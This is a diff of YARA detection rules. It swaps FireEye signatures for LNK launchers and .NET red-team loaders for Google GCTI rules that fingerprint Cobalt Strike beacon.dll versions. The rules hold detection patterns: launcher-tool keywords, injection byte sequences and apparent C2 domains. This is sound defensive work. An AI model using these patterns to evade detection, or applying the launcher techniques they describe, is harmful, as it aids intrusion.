-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "0a86d64c3b25aa45428e94b6e0be3e08"
-		logic_hash = "61d1ac67ac0d332ad842a522cbebe1b9af1482d58a210b50fb45209355c0aeeb"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.5-hf1 and 3.5.1 (3.5.x)"
+		author = "gssincla@google.com"
+		id = "1532596e-be0e-58c2-8d3b-5120c793d677"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L594-L625"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "c78e70cd74f4acda7d1d0bd85854ccacec79983565425e98c16a9871f1950525"
+		logic_hash = "c2e975678815638803b04261d46bca216bc0b2f894a1f72fd0d5b949493401d1"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 6
+		quality = 85
+		tags = ""
 
 	strings:
-		$drive_serial = { 12 F7 26 BE }
-		$file_droid_guid = { BC 96 28 4F 0A 46 54 42 81 B8 9F 48 64 D7 E9 A5 }
-		$guid_clsid = { E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D }
-		$header = { 4C 00 00 00 01 14 02 }
+		$version_sig = { 48 57 8B F1 83 F8 43 0F 87 07 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		$header at 0 and all of them
+		all of them
 }
-rule FIREEYE_RT_Hunting_LNK_Win_Genericlauncher : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_6
 {
 	meta:
-		description = "Signature to detect LNK files or OLE objects with embedded LNK files and generic launcher commands, except powershell which is large enough to have its own gene"
-		author = "FireEye"
-		id = "1a12e475-bb18-55ab-b629-47b711c10e6b"
-		date = "2018-09-04"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LNKSMASHER/supplemental/yara/Hunting_LNK_Win_GenericLauncher.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "14dd758e8f89f14612c8df9f862c31e4"
-		logic_hash = "a654cd3594e2d09950fb11bf8721a5cdb89f5d5be6e706f12e18c7fcdf7dd0fe"
-		score = 60
-		quality = 53
-		tags = "FILE"
-		rev = 7
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.6"
+		author = "gssincla@google.com"
+		id = "7e7b5c22-82b3-5298-b794-b06d94a668d5"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L627-L657"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "495a744d0a0b5f08479c53739d08bfbd1f3b9818d8a9cbc75e71fcda6c30207d"
+		logic_hash = "3bd3f0b8625e131726fa92d68de041dae6c3d5642cbf22ac596d1d82da1d4a07"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$a01 = "cmd.exe /" ascii nocase wide
-		$a02 = "cscript" ascii nocase wide
-		$a03 = "jscript" ascii nocase wide
-		$a04 = "wscript" ascii nocase wide
-		$a05 = "wmic" ascii nocase wide
-		$a07 = "mshta" ascii nocase wide
-		$header = { 4C 00 00 00 01 14 02 }
+		$version_sig = { 48 57 8B F9 83 F8 47 0F 87 2F 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		(($header at 0) or (( uint32(0)==0xE011CFD0) and $header)) and (1 of ($a*))
+		all of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_HOLSTER_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_7
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the a customized version of the 'DUEDLLIGENCE' project."
-		author = "FireEye"
-		id = "e1e8979e-2dee-5061-a11d-00dcfba476c3"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/HackTool_MSIL_HOLSTER_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "a91bf61cc18705be2288a0f6f125068f"
-		logic_hash = "bc254a1ab71f2a6092f139ce5a85347a7a4976f963603ffbbebb9b0d6ce6573c"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.7"
+		author = "gssincla@google.com"
+		id = "6352a31c-34b8-5886-8e34-ef9221c22e6e"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L659-L689"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "f18029e6b12158fb3993f4951dab2dc6e645bb805ae515d205a53a1ef41ca9b2"
+		logic_hash = "6ceb2cec8402a4679bad42d367156c74e897af4188442fdebc70d6ce2dd78bd6"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid1 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
+		$version_sig = { 48 57 8B F9 83 F8 49 0F 87 47 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-import "pe"
-
-rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_2 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_8
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "b10b476a-0d38-53e4-80cf-559618729268"
-		date = "2020-12-18"
-		modified = "2020-12-18"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_2.yar#L5-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		logic_hash = "5a2e0559e3b47c1957a42929fbbeba7a53c21619125381b01dcd8453b6ec4802"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.8"
+		author = "gssincla@google.com"
+		id = "f76712a4-df1c-5e6b-b5ac-9c74f2e202fc"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L691-L731"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "67b6557f614af118a4c409c992c0d9a0cc800025f77861ecf1f3bbc7c293d603"
+		logic_hash = "a0c78dd7cda055bc76a8661b0416a302d7b05d03eeea483d2d1695093cd6dc90"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$1 = "DueDLLigence" fullword
-		$2 = "CPlApplet" fullword
-		$iz1 = /_Cor(Exe|Dll)Main/ fullword
+		$version_sig = { 48 57 8B F9 83 F8 4B 0F 87 5D 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$xmrig_srcpath = "C:/Users/SKOL-NOTE/Desktop/Loader/script.go"
+		$c2_1 = "ns7.softline.top" xor
+		$c2_2 = "ns8.softline.top" xor
+		$c2_3 = "ns9.softline.top" xor
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		$version_sig and $decoder and not (2 of ($c2_*) or $xmrig_srcpath)
 }
-import "pe"
-
-rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_3 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_11
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "42e4e777-6d51-5733-97df-dc27f13a27b7"
-		date = "2020-12-18"
-		modified = "2020-12-18"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_3.yar#L5-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		logic_hash = "41cc6a4c7765b1e5e88d12660b69e434c83938ca974b9ccf6545b4dd5dd78378"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.11"
+		author = "gssincla@google.com"
+		id = "00e42396-db81-5d43-90ee-5a97b379019e"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L739-L770"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "2428b93464585229fd234677627431cae09cfaeb1362fe4f648b8bee59d68f29"
+		logic_hash = "24ca0a9c2249d1872a53dc228234bdc6803bdfe9e80847995e0951184a8d935c"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A }
-		$iz1 = /_Cor(Exe|Dll)Main/ fullword
-		$rc4 = { 20 00 01 00 00 8D [2] 00 01 1? ?? 20 00 01 00 00 8D [2] 00 01 1? ?? 03 8E 69 8D [2] 00 01 1? ?? 16 0B 2B ?? 1? ?? 07 02 07 02 8E 69 5D 91 9E 1? ?? 07 07 9E 07 17 58 0B 07 20 00 01 00 00 32 }
-		$suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 }
+		$version_sig = { 48 57 8B FA 83 F8 50 0F 87 11 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule FIREEYE_RT_MSIL_Launcher_DUEDLLIGENCE_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_11_Bugfix_And_V3_12
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'DUEDLLIGENCE' project."
-		author = "FireEye"
-		id = "86f0ebe5-110b-53e2-bba5-676f00c2cddd"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/MSIL_Launcher_DUEDLLIGENCE_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "a91bf61cc18705be2288a0f6f125068f"
-		logic_hash = "bd6abaa909f0c776d81ed1115e875888336661c91df3881f4f3ea5dd27e115f8"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.11-bugfix and 3.12"
+		author = "gssincla@google.com"
+		id = "08ff2a2f-97bd-5839-b414-d67fbf2cdb0f"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L772-L804"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "5912c96fffeabb2c5c5cdd4387cfbfafad5f2e995f310ace76ca3643b866e3aa"
+		logic_hash = "566eb14f918ad422d5a273390263e63ac37b00cd10ac3561e038fb1a27f85d80"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
+		rs2 = "4476a93abe48b7481c7b13dc912090b9476a2cdf46a1c4287b253098e3523192"
 
 	strings:
-		$typelibguid0 = "73948912-cebd-48ed-85e2-85fcd1d4f560" ascii nocase wide
+		$version_sig = { 48 57 8B FA 83 F8 50 0F 87 0D 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-import "pe"
-
-rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_13
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "d438575f-3cb2-5cff-b5d4-733044f62e61"
-		date = "2020-12-18"
-		modified = "2020-12-18"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_1.yar#L5-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		logic_hash = "56237d686b954950849adeedc87d5f9fbff2335a0ff033ba8571b3e3b93f587c"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.13"
+		author = "gssincla@google.com"
+		id = "98dd32e6-9bb5-57b2-a5e5-1c74a0d1e6d3"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L806-L836"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "362119e3bce42e91cba662ea80f1a7957a5c2b1e92075a28352542f31ac46a0c"
+		logic_hash = "adafac8692ad676b0168b3e829bc7948db72953b95c79d483ae1a05f1d4f9b2b"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A }
-		$iz1 = /_Cor(Exe|Dll)Main/ fullword
-		$suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 }
+		$version_sig = { 4A 56 57 83 FA 5A 0F 87 2D 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-import "pe"
-
-rule FIREEYE_RT_FE_APT_Loader_MSIL_REVOLVER_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_14
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "d99620e0-39ed-58db-acce-0d885a9e0bf7"
-		date = "2020-12-18"
-		modified = "2020-12-18"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REVOLVER/production/yara/APT_Loader_MSIL_REVOLVER_1.yar#L5-L14"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		logic_hash = "1231f4c961dec122ebcb142052c2c7c03acf9b556cdb71a3efabde6bcf50a939"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.14"
+		author = "gssincla@google.com"
+		id = "00edfc72-c7b8-5100-8275-ae3548b96e49"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L838-L866"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "254c68a92a7108e8c411c7b5b87a2f14654cd9f1324b344f036f6d3b6c7accda"
+		logic_hash = "6faed2b69647b87d86d46ae73ad92cfe7b2746c306cd7480dc9f0c484c8882e2"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 85
+		tags = ""
+		rs2 = "87b3eb55a346b52fb42b140c03ac93fc82f5a7f80697801d3f05aea1ad236730"
 
 	strings:
-		$inject = { 28 [2] 00 06 0? 0? 7B [2] 00 04 7E [2] 00 0A 28 [2] 00 0A [2-40] 7E [2] 00 0A 0? 20 00 10 00 00 28 [2] 00 0A 0? 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? ?? 20 00 30 00 00 1F 40 28 [2] 00 06 [2-40] 28 [2] 00 0A 1? 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 1? ?? FE 15 [2] 00 02 1? ?? 72 [2] 00 70 28 [2] 00 06 1? ?? FE 15 [2] 00 02 1? ?? 1? ?? 1? 28 [2] 00 06 2? 7E [2] 00 0A 1? ?? 0? 7B [2] 00 04 1? ?? 1? 1? ?? 28 [2] 00 06 2? ?? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-10] 7E [2] 00 0A 1? ?? 1? ?? 20 [2] 1F 00 7E [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? 1? 20 [2] 00 00 20 [2] 00 00 7E [2] 00 0A 28 [2] 00 06 2? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-40] 1? ?? 0? 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 2? ?? 2? 1? 1? ?? 1? ?? 1? ?? 28 [2] 00 06 }
-		$iz1 = /_Cor(Exe|Dll)Main/ fullword
+		$version_sig = { 83 FA 5B 77 15 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_REVOLVER_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_0_Suspected
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'revolver' project."
-		author = "FireEye"
-		id = "8fa5adb7-dc66-51bc-9f60-2308515f33a8"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REVOLVER/production/yara/APT_HackTool_MSIL_REVOLVER_1.yar#L4-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "8df8a56ed55b7857adb95daa643d544a49eb5f1952b4ad3ef757c34dad2ce317"
+		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.0 (suspected, not confirmed)"
+		author = "gssincla@google.com"
+		id = "50ff6e44-ebc0-5000-a816-b385a6675768"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L868-L901"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "e2b2b72454776531bbc6a4a5dd579404250901557f887a6bccaee287ac71b248"
+		logic_hash = "6875099bc6df26f829f9f64e70bd7fdac6ac7b83a5596fc9359c127fef4e6db5"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
-		$typelibguid1 = "b214d962-7595-440b-abef-f83ecdb999d2" ascii nocase wide
+		$version_sig = { 51 4A 56 57 83 FA 62 0F 87 8F 03 00 00 FF 24 95 56 7B 00 10 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_JUSTASK_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_1_And_V4_2
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'justask' project."
-		author = "FireEye"
-		id = "06a03d82-db69-5b5a-a578-a8053814e917"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/JUSTASK/production/yara/APT_HackTool_MSIL_JUSTASK_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "24d2f8e3838c4f02cd80644a396ce7cf105761d2feba54e39973564ca5e97571"
+		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.1 and 4.2"
+		author = "gssincla@google.com"
+		id = "793df916-bdf7-5743-b008-0113caf38bae"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L903-L934"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "daa42f4380cccf8729129768f3588bb98e4833b0c40ad0620bb575b5674d5fc3"
+		logic_hash = "7280a5c3f478ea40b6b72fb4669d5b8c21603e7fbfbc3815a83bc462ee19c0f5"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
+		rs2 = "9de55f27224a4ddb6b2643224a5da9478999c7b2dea3a3d6b3e1808148012bcf"
 
 	strings:
-		$typelibguid0 = "aa59be52-7845-4fed-9ea5-1ea49085d67a" ascii nocase wide
+		$version_sig = { 48 57 8B F2 83 F8 63 0F 87 3C 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_DTRIM_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_3_V4_4_V4_5_And_V4_6
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'dtrim' project, which is a modified version of SharpSploit."
-		author = "FireEye"
-		id = "9be695a1-6d18-5952-974c-96a30f035e7a"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DTRIM/production/yara/APT_HackTool_MSIL_DTRIM_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "357c1f76631ec9ee342995cd12369fd9ff18c541bffe6f5464b1e8db45057196"
+		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.3 and 4.4"
+		author = "gssincla@google.com"
+		id = "976e087c-f371-5fc6-85f8-9c803a91f549"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L936-L967"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "51490c01c72c821f476727c26fbbc85bdbc41464f95b28cdc577e5701790845f"
+		logic_hash = "6608a84c4fd3bf77fd5b426da8be250d8b99878bd746fa23789f4791a164ce33"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
+		rs2 = "78a6fbefa677eeee29d1af4a294ee57319221b329a2fe254442f5708858b37dc"
 
 	strings:
-		$typelibguid0 = "7760248f-9247-4206-be42-a6952aa46da2" ascii nocase wide
